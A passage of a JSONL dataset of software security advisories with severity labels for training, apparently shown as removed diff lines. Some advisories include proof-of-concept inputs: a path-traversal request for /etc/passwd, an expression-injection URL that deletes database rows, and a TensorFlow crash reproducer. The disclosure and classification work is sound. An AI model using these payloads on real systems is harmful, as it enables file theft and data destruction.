different installations – assuming that safe, unique passwords are used – but it is basically guaranteed to work to get access to all machines of one cluster if a token from one machine is compromised.\n\n### Patches\n\nThis problem is fixed in Opencast 7.6 and Opencast 8.1\n\n### Workarounds\n\nWe strongly recommend updating to the patched version. Still, as a workaround for older versions, in `etc/security/mh_default_org.xml`, set a custom key for each server:\n\n```xml\n<sec:remember-me key=\"CUSTOM_RANDOM_KEY\" user-service-ref=\"userDetailsService\" />\n```\n\n### References\n\n- [Relevant lines in the security configuration](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)\n- [Spring Security Remember-Me Authentication Documentation](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/remember-me.html#remember-me-hash-token)\n\n### For more information\nIf you have any questions or comments about this advisory:\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at [security@opencast.org](mailto:security@opencast.org)\n\n### Thanks\nThanks to @LukasKalbertodt for reporting the issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "995dfced429d731ffa88", "text": "Insecure Entropy Source - Math.random() in node-uuid\n\nAffected versions of `node-uuid` consistently fall back to using `Math.random` as an entropy source instead of `crypto`, which may result in guessable UUID's.\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", "text_raw": "Insecure Entropy Source - Math.random() in node-uuid\n\n[Severity: HIGH]\n\nAffected versions of `node-uuid` consistently fall back to using `Math.random` as an entropy source instead of `crypto`, which may result in guessable UUID's.\n\n\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-16", "split": "train"}
-{"id": "1580cf87f780c1034185", "text": "Improper random number generation in nanorand\n\nIn versions of nanorand prior to 0.5.1, RandomGen implementations for standard unsigned integers could fail to properly generate numbers, due to using bit-shifting to truncate a 64-bit number, rather than just an as conversion. This often manifested as RNGs returning nothing but 0, including the cryptographically secure ChaCha random number generator.", "text_raw": "Improper random number generation in nanorand\n\n[Severity: MEDIUM]\n\nIn versions of nanorand prior to 0.5.1, RandomGen implementations for standard unsigned integers could fail to properly generate numbers, due to using bit-shifting to truncate a 64-bit number, rather than just an as conversion. This often manifested as RNGs returning nothing but 0, including the cryptographically secure ChaCha random number generator.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "578782cf3755239ac746", "text": "ArticleFR 3.0.6 Multiple Script Injection Vulnerabilities", "text_raw": "ArticleFR 3.0.6 Multiple Script Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-07-13", "split": "train"}
-{"id": "3392d5eafcc684676a47", "text": "Command injection vulnerability in @prisma/sdk in getPackedPackage function\n\n### Impact\n\nAs of today, we are not aware of any Prisma users or external consumers of the `@prisma/sdk` package who are affected by this security vulnerability.\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\nIt only affects the `getPackedPackage` function and this function is not advertised and only used for tests & building our CLI, no malicious code was found after checking our codebase.\n\n### Patches\n\nFixed in \n- @prisma/sdk@2.20.0 (latest channel)\n- @prisma/sdk@2.20.0-dev.29 (dev channel)\n\nPull Request closing this vulnerability [https://github.com/prisma/prisma/pull/6245](https://github.com/prisma/prisma/pull/6245)\n\n### Acknowledgements\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Create a discussion in [the Prisma repository](https://github.com/prisma/prisma/discussions)\n- Email us at security@prisma.io", "text_raw": "Command injection vulnerability in @prisma/sdk in getPackedPackage function\n\n[Severity: HIGH]\n\n### Impact\n\nAs of today, we are not aware of any Prisma users or external consumers of the `@prisma/sdk` package who are affected by this security vulnerability.\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\nIt only affects the `getPackedPackage` function and this function is not advertised and only used for tests & building our CLI, no malicious code was found after checking our codebase.\n\n### Patches\n\nFixed in \n- @prisma/sdk@2.20.0 (latest channel)\n- @prisma/sdk@2.20.0-dev.29 (dev channel)\n\nPull Request closing this vulnerability [https://github.com/prisma/prisma/pull/6245](https://github.com/prisma/prisma/pull/6245)\n\n### Acknowledgements\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Create a discussion in [the Prisma repository](https://github.com/prisma/prisma/discussions)\n- Email us at security@prisma.io", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "7fa1764194e104ffc46a", "text": "Pillow Out-of-bounds Read\n\nIn Pillow before 8.1.0, SGIRleDecode has a 4-byte buffer over-read when decoding crafted SGI RLE image files because offsets and length tables are mishandled.", "text_raw": "Pillow Out-of-bounds Read\n\n[Severity: MEDIUM]\n\nIn Pillow before 8.1.0, SGIRleDecode has a 4-byte buffer over-read when decoding crafted SGI RLE image files because offsets and length tables are mishandled.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "61b04eda1e1cd0945ca9", "text": "Data races in lock_api\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of RwLockReadGuard unsoundness.", "text_raw": "Data races in lock_api\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the lock_api crate before 0.4.2 for Rust. A data race can occur because of RwLockReadGuard unsoundness.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "efcb9f9d4efaae87b508", "text": "Samlify vulnerable to Authentication Bypass by allowing tokens to be reused with different usernames\n\nVersions of `samlify` prior to 2.4.0-rc5 are vulnerable to Authentication Bypass. The package fails to prevent XML Signature Wrapping, allowing tokens to be reused with different usernames. A remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider.\n\n## Recommendation\n\nUpgrade to version 2.4.0-rc5 or later", "text_raw": "Samlify vulnerable to Authentication Bypass by allowing tokens to be reused with different usernames\n\n[Severity: HIGH]\n\nVersions of `samlify` prior to 2.4.0-rc5 are vulnerable to Authentication Bypass. The package fails to prevent XML Signature Wrapping, allowing tokens to be reused with different usernames. A remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider.\n\n\n## Recommendation\n\nUpgrade to version 2.4.0-rc5 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-04", "split": "train"}
-{"id": "3fc248e13f96863c2559", "text": "Malicious Package in hw-trnasport-u2f\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in hw-trnasport-u2f\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b508f74b2253e2ca408b", "text": "Malicious Package in bitcoimd-rpc\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcoimd-rpc\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "19abbb06f5427b2355e1", "text": "Creation of Temporary File in Directory with Insecure Permissions in the OpenAPI Generator Maven plugin\n\n### Impact\n\nUsing `File.createTempFile` in JDK will result in creating and using insecure temporary files that can leave application and system data vulnerable to attacks. This vulnerability only impacts unix-like systems where the local system temporary directory is shared between all users. This vulnerability does not impact Windows or modern versions of MacOS.\n\nOpenAPI Generator Maven plug-in creates insecure temporary files during the code generation process. It creates insecure temporary files to store the OpenAPI specification files provided by the users and these temporary files can be read by any users in the system.\n\nThe impact of this vulnerability is information disclosure of the contents of the specification file to other local users.\n\n### Patches\nThe issue has been patched with `Files.createTempFile` and released in the v5.1.0 stable version.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OpenAPI Generator Github repo](https://github.com/openAPITools/openapi-generator/)\n* Email us at [security@openapitools.org](mailto:security@openapitools.org)", "text_raw": "Creation of Temporary File in Directory with Insecure Permissions in the OpenAPI Generator Maven plugin\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsing `File.createTempFile` in JDK will result in creating and using insecure temporary files that can leave application and system data vulnerable to attacks. This vulnerability only impacts unix-like systems where the local system temporary directory is shared between all users. This vulnerability does not impact Windows or modern versions of MacOS.\n\nOpenAPI Generator Maven plug-in creates insecure temporary files during the code generation process. It creates insecure temporary files to store the OpenAPI specification files provided by the users and these temporary files can be read by any users in the system.\n\nThe impact of this vulnerability is information disclosure of the contents of the specification file to other local users.\n\n### Patches\nThe issue has been patched with `Files.createTempFile` and released in the v5.1.0 stable version.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OpenAPI Generator Github repo](https://github.com/openAPITools/openapi-generator/)\n* Email us at [security@openapitools.org](mailto:security@openapitools.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "1a98b7723de0a9947b94", "text": "The REST Plugin in Apache Struts is using an outdated XStream library\n\nThe REST Plugin in Apache Struts 2.3.7 through 2.3.33 and 2.5 through 2.5.12 is using an outdated XStream library which is vulnerable and allow perform a DoS attack using malicious request with specially crafted XML payload.", "text_raw": "The REST Plugin in Apache Struts is using an outdated XStream library\n\n[Severity: HIGH]\n\nThe REST Plugin in Apache Struts 2.3.7 through 2.3.33 and 2.5 through 2.5.12 is using an outdated XStream library which is vulnerable and allow perform a DoS attack using malicious request with specially crafted XML payload.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "ee9a57b39fc2c3998067", "text": "XML External Entity Reference in org.opencms:opencms-core\n\nAn XML external entity (XXE) vulnerability in Alkacon OpenCms 11.0, 11.0.1 and 11.0.2 allows remote authenticated users with edit privileges to exfiltrate files from the server's file system by uploading a crafted SVG document.", "text_raw": "XML External Entity Reference in org.opencms:opencms-core\n\n[Severity: MEDIUM]\n\nAn XML external entity (XXE) vulnerability in Alkacon OpenCms 11.0, 11.0.1 and 11.0.2 allows remote authenticated users with edit privileges to exfiltrate files from the server's file system by uploading a crafted SVG document.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "2009770917ce4d7d91ef", "text": "Queue<T> should have a Send bound on its Send/Sync traits\n\nAffected versions of this crate unconditionally implements `Send`/`Sync` for `Queue<T>`.\n\nThis allows (1) creating data races to a `T: !Sync` and (2) sending `T: !Send` to other threads, resulting in memory corruption or other undefined behavior.", "text_raw": "Queue<T> should have a Send bound on its Send/Sync traits\n\n[Severity: MEDIUM]\n\nAffected versions of this crate unconditionally implements `Send`/`Sync` for `Queue<T>`.\n\nThis allows (1) creating data races to a `T: !Sync` and (2) sending `T: !Send` to other threads, resulting in memory corruption or other undefined behavior.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "210b80c75d6675ed1ad1", "text": "Resin Application Server 4.0.36 Source Code Disclosure Vulnerability", "text_raw": "Resin Application Server 4.0.36 Source Code Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-06-07", "split": "train"}
-{"id": "0431a1030f71f4ba50c7", "text": "Directory Traversal in zjjserver\n\nAffected versions of `zjjserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in zjjserver\n\n[Severity: HIGH]\n\nAffected versions of `zjjserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "7c14796b4944676567e7", "text": "Prototype pollution in json8\n\nThis affects the package json8 before 1.0.3. The function adds in the target object the property specified in the path, however it does not properly check the key being set, leading to a prototype pollution.", "text_raw": "Prototype pollution in json8\n\n[Severity: CRITICAL]\n\nThis affects the package json8 before 1.0.3. The function adds in the target object the property specified in the path, however it does not properly check the key being set, leading to a prototype pollution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "640d4c54951df2fddb3c", "text": "Type confusion in mpath\n\nThis affects the package mpath before 0.8.4. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition `ignoreProperties.indexOf(parts[i]) !== -1` returns `-1` if `parts[i]` is `['__proto__']`. This is because the method that has been called if the input is an array is `Array.prototype.indexOf()` and not `String.prototype.indexOf()`. They behave differently depending on the type of the input.", "text_raw": "Type confusion in mpath\n\n[Severity: MEDIUM]\n\nThis affects the package mpath before 0.8.4. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition `ignoreProperties.indexOf(parts[i]) !== -1` returns `-1` if `parts[i]` is `['__proto__']`. This is because the method that has been called if the input is an array is `Array.prototype.indexOf()` and not `String.prototype.indexOf()`. They behave differently depending on the type of the input.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "2fed527c62b2fd671621", "text": "Remote Code Execution in SyliusResourceBundle\n\n### Impact\n\nRequest parameters injected inside an expression evaluated by `symfony/expression-language` package haven't been sanitized properly. This allows the attacker to access any public service by manipulating that request parameter, allowing for Remote Code Execution.\n\nThe vulnerable versions include: `<=1.3.13 || >=1.4.0 <=1.4.6 || >=1.5.0 <=1.5.1 || >=1.6.0 <=1.6.3`.\n\n### Example\n\n```yaml\nfoo:\n    path: /foo/{id}\n    defaults:\n        _sylius:\n            repository:\n                method: findSome\n                arguments:\n                    entity: \"expr:service('repository').find($id)\"\n```\n\nIn this case, `$id` can be prepared in a way that calls other services.\n\nIf you visit `/foo/\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"`, it will result in a following expression `expr:service('repository').find(\"\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"\")`, which will execute a query on the currently connected database.\n\nTo find a vulnerability in your application, look for any routing definition that uses request parameters inside expression language.\n\n### Patches\n\nThis issue has been patched for versions 1.3.14, 1.4.7, 1.5.2 and 1.6.4. Versions prior to 1.3 were not patched.\n\n### Workarounds\n\nThe fix requires adding `addslashes` in `ParametersParser::parseRequestValueExpression` to sanitize user input before evaluating it using the expression language.\n\n```php\n- return is_string($variable) ? sprintf('\"%s\"', $variable) : $variable;\n+ return is_string($variable) ? sprintf('\"%s\"', addslashes($variable)) : $variable;\n```\n\n### Acknowledgements\n\nThis security issue has been reported by Craig Blanchette (@isometriks), thanks a lot!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@sylius.com](mailto:security@sylius.com)", "text_raw": "Remote Code Execution in SyliusResourceBundle\n\n[Severity: HIGH]\n\n### Impact\n\nRequest parameters injected inside an expression evaluated by `symfony/expression-language` package haven't been sanitized properly. This allows the attacker to access any public service by manipulating that request parameter, allowing for Remote Code Execution.\n\nThe vulnerable versions include: `<=1.3.13 || >=1.4.0 <=1.4.6 || >=1.5.0 <=1.5.1 || >=1.6.0 <=1.6.3`.\n\n### Example\n\n```yaml\nfoo:\n    path: /foo/{id}\n    defaults:\n        _sylius:\n            repository:\n                method: findSome\n                arguments:\n                    entity: \"expr:service('repository').find($id)\"\n```\n\nIn this case, `$id` can be prepared in a way that calls other services. \n\nIf you visit `/foo/\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"`, it will result in a following expression `expr:service('repository').find(\"\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"\")`, which will execute a query on the currently connected database.\n\nTo find a vulnerability in your application, look for any routing definition that uses request parameters inside expression language.\n\n### Patches\n\nThis issue has been patched for versions 1.3.14, 1.4.7, 1.5.2 and 1.6.4. Versions prior to 1.3 were not patched.\n\n### Workarounds\n\nThe fix requires adding `addslashes` in `ParametersParser::parseRequestValueExpression` to sanitize user input before evaluating it using the expression language.\n\n```php\n- return is_string($variable) ? sprintf('\"%s\"', $variable) : $variable;\n+ return is_string($variable) ? sprintf('\"%s\"', addslashes($variable)) : $variable;\n```\n\n### Acknowledgements\n\nThis security issue has been reported by Craig Blanchette (@isometriks), thanks a lot!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@sylius.com](mailto:security@sylius.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "cc38fb5bab16aeb2d6b9", "text": "Interpreter crash from `tf.io.decode_raw`\n\n### Impact\nThe implementation of `tf.io.decode_raw` produces incorrect results and crashes the Python interpreter when combining `fixed_length` and wider datatypes.\n\n```python\nimport tensorflow as tf\n\ntf.io.decode_raw(tf.constant([\"1\",\"2\",\"3\",\"4\"]), tf.uint16, fixed_length=4)\n```\n\nThe [implementation of the padded version](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc) is buggy due to a confusion about pointer arithmetic rules.\n\nFirst, the code [computes](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L61) the width of each output element by dividing the `fixed_length` value to the size of the type argument:\n\n```cc\nint width = fixed_length / sizeof(T);\n```\n\nThe `fixed_length` argument is also used to determine the [size needed for the output tensor](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L63-L79):\n\n```cc\nTensorShape out_shape = input.shape();\nout_shape.AddDim(width);\nTensor* output_tensor = nullptr;\nOP_REQUIRES_OK(context, context->allocate_output(\"output\", out_shape, &output_tensor));\n\nauto out = output_tensor->flat_inner_dims<T>();\nT* out_data = out.data();\nmemset(out_data, 0, fixed_length * flat_in.size());\n```\n\nThis is followed by [reencoding code](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L85-L94):\n\n```cc\nfor (int64 i = 0; i < flat_in.size(); ++i) {\n  const T* in_data = reinterpret_cast<const T*>(flat_in(i).data());\n\nif (flat_in(i).size() > fixed_length) {\n    memcpy(out_data, in_data, fixed_length);\n  } else {\n    memcpy(out_data, in_data, flat_in(i).size());\n  }\n  out_data += fixed_length;\n}\n```\n\nThe erroneous code is the last line above: it is moving the `out_data` pointer by `fixed_length * sizeof(T)` bytes whereas it only copied at most `fixed_length` bytes from the input. This results in parts of the input not being decoded into the output.\n\nFurthermore, because the pointer advance is far wider than desired, this quickly leads to writing to outside the bounds of the backing data. This OOB write leads to interpreter crash in the reproducer mentioned here, but more severe attacks can be mounted too, given that this gadget allows writing to periodically placed locations in memory.\n\n### Patches\nWe have patched the issue in GitHub commit [698e01511f62a3c185754db78ebce0eee1f0184d](https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Interpreter crash from `tf.io.decode_raw`\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.io.decode_raw` produces incorrect results and crashes the Python interpreter when combining `fixed_length` and wider datatypes.\n\n```python\nimport tensorflow as tf\n\ntf.io.decode_raw(tf.constant([\"1\",\"2\",\"3\",\"4\"]), tf.uint16, fixed_length=4)\n```                \n                   \nThe [implementation of the padded version](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc) is buggy due to a confusion about pointer arithmetic rules.\n\nFirst, the code [computes](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L61) the width of each output element by dividing the `fixed_length` value to the size of the type argument:\n\n```cc\nint width = fixed_length / sizeof(T);\n```\n\nThe `fixed_length` argument is also used to determine the [size needed for the output tensor](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L63-L79):\n\n```cc\nTensorShape out_shape = input.shape();\nout_shape.AddDim(width);\nTensor* output_tensor = nullptr;\nOP_REQUIRES_OK(context, context->allocate_output(\"output\", out_shape, &output_tensor));\n\nauto out = output_tensor->flat_inner_dims<T>();\nT* out_data = out.data();\nmemset(out_data, 0, fixed_length * flat_in.size());\n```\n\nThis is followed by [reencoding code](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L85-L94):\n\n```cc\nfor (int64 i = 0; i < flat_in.size(); ++i) {\n  const T* in_data = reinterpret_cast<const T*>(flat_in(i).data());\n\n  if (flat_in(i).size() > fixed_length) {\n    memcpy(out_data, in_data, fixed_length);\n  } else {\n    memcpy(out_data, in_data, flat_in(i).size());\n  }\n  out_data += fixed_length;\n}\n```\n\nThe erroneous code is the last line above: it is moving the `out_data` pointer by `fixed_length * sizeof(T)` bytes whereas it only copied at most `fixed_length` bytes from the input. This results in parts of the input not being decoded into the output.\n\nFurthermore, because the pointer advance is far wider than desired, this quickly leads to writing to outside the bounds of the backing data. This OOB write leads to interpreter crash in the reproducer mentioned here, but more severe attacks can be mounted too, given that this gadget allows writing to periodically placed locations in memory.\n\n### Patches\nWe have patched the issue in GitHub commit [698e01511f62a3c185754db78ebce0eee1f0184d](https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "5f3dfad6099286f8d855", "text": "SQL injection in vhs (aka VHS: Fluid ViewHelpers)\n\nThe vhs (aka VHS: Fluid ViewHelpers) extension before 5.1.1 for TYPO3 allows SQL injection via isLanguageViewHelper.", "text_raw": "SQL injection in vhs (aka VHS: Fluid ViewHelpers)\n\n[Severity: CRITICAL]\n\nThe vhs (aka VHS: Fluid ViewHelpers) extension before 5.1.1 for TYPO3 allows SQL injection via isLanguageViewHelper.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "583176a39c33f7dce176", "text": "Regular Expression Denial of Service in jsoneditor\n\nJSON Editor is a web-based tool to view, edit, format, and validate JSON. It has various modes such as a tree editor, a code editor, and a plain text editor. The jsoneditor package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted element as input to the getInnerText function may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.", "text_raw": "Regular Expression Denial of Service in jsoneditor\n\n[Severity: MEDIUM]\n\nJSON Editor is a web-based tool to view, edit, format, and validate JSON. It has various modes such as a tree editor, a code editor, and a plain text editor. The jsoneditor package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted element as input to the getInnerText function may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "2bca6d46a5636869fa2d", "text": "Authentication Bypass For Endpoints With Anonymous Access in Opencast\n\n### Impact\n\nUsing a remember-me cookie with an arbitrary username can cause Opencast to assume proper authentication for that user even if the remember-me cookie was incorrect given that the attacked endpoint also allows anonymous access.\n\nThis way, an attacker can, for example, fake a remember-me token, assume the identity of the global system administrator and request non-public content from the search service without ever providing any proper authentication.\n\n### Patches\n\nThis problem is fixed in Opencast 7.6 and Opencast 8.1\n\n### Workarounds\n\nAs a workaround for older, unpatched versions, disabling remember-me cookies in `etc/security/mh_default_org.xml` will mitigate the problem but will obviously also disable this feature without obvious indication. To deactivate this, remove the following line from the security configuration:\n\n```xml\n<sec:remember-me … />\n```\n\n### References\n\n- [Remember-me cookie in the security configuration file](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "text_raw": "Authentication Bypass For Endpoints With Anonymous Access in Opencast\n\n[Severity: CRITICAL]\n\n### Impact\n\nUsing a remember-me cookie with an arbitrary username can cause Opencast to assume proper authentication for that user even if the remember-me cookie was incorrect given that the attacked endpoint also allows anonymous access.\n\nThis way, an attacker can, for example, fake a remember-me token, assume the identity of the global system administrator and request non-public content from the search service without ever providing any proper authentication.\n\n\n### Patches\n\nThis problem is fixed in Opencast 7.6 and Opencast 8.1\n\n\n### Workarounds\n\nAs a workaround for older, unpatched versions, disabling remember-me cookies in `etc/security/mh_default_org.xml` will mitigate the problem but will obviously also disable this feature without obvious indication. To deactivate this, remove the following line from the security configuration:\n\n```xml\n<sec:remember-me … />\n```\n\n### References\n\n- [Remember-me cookie in the security configuration file](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "198bc3eae33d445ddd3a", "text": "YamlDotNet version 4.3.2 and earlier contains a Insecure Direct Object Reference vulnerability in The default behavior of Deserializer.Deserialize() will deserialize user-controlled types in the line \"currentType = Type.GetType(nodeEvent.Tag.Substring(1), throwOnError: false);\" and blindly instantiates them. that can result in Code execution in the context of the running process. This attack appear to be exploitable via Victim must parse a specially-crafted YAML file. This vulnerability appears to have been fixed in 5.0.0.", "text_raw": "High severity vulnerability that affects YamlDotNet and YamlDotNet.Signed\n\n[Severity: HIGH]\n\nYamlDotNet version 4.3.2 and earlier contains a Insecure Direct Object Reference vulnerability in The default behavior of Deserializer.Deserialize() will deserialize user-controlled types in the line \"currentType = Type.GetType(nodeEvent.Tag.Substring(1), throwOnError: false);\" and blindly instantiates them. that can result in Code execution in the context of the running process. This attack appear to be exploitable via Victim must parse a specially-crafted YAML file. This vulnerability appears to have been fixed in 5.0.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "c90cb062b4ca571362b0", "text": "ZKTeco ZKBioSecurity 3.0 Multiple XSS Vulnerabilities", "text_raw": "ZKTeco ZKBioSecurity 3.0 Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-30", "split": "train"}
